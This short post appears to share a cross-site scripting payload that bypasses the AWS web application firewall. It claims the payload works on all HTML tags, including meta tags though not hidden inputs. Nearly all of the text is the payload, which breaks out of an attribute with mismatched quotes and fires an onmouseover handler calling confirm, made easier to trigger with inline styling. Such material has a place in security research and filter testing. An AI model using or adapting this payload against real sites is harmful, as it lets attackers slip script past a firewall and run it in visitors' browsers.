AWS WAF bypass
works on all tags even the meta tag.
(but not for input:hidden)

<x attr=”
—
x=”==’=’onmouseover=confirm`X` style=”display:block;width:10px;height:10px;background:#”>
—
“>